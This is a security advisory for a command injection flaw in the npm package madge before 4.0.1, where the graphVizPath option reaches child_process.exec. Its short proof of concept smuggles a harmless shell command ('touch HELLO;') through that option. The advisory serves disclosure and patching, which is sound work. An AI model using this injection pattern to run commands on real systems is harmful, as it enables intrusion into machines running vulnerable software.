GHSA-753c-phhg-cj29High

Madge vulnerable to command injection

Published
March 12, 2021
Last Modified
September 6, 2023

🔗 CVE IDs covered (1)

📋 Description

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.

PoC

const madge = require('madge'); 
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });

🎯 Affected products1

  • npm/madge:< 4.0.1

🔗 References (5)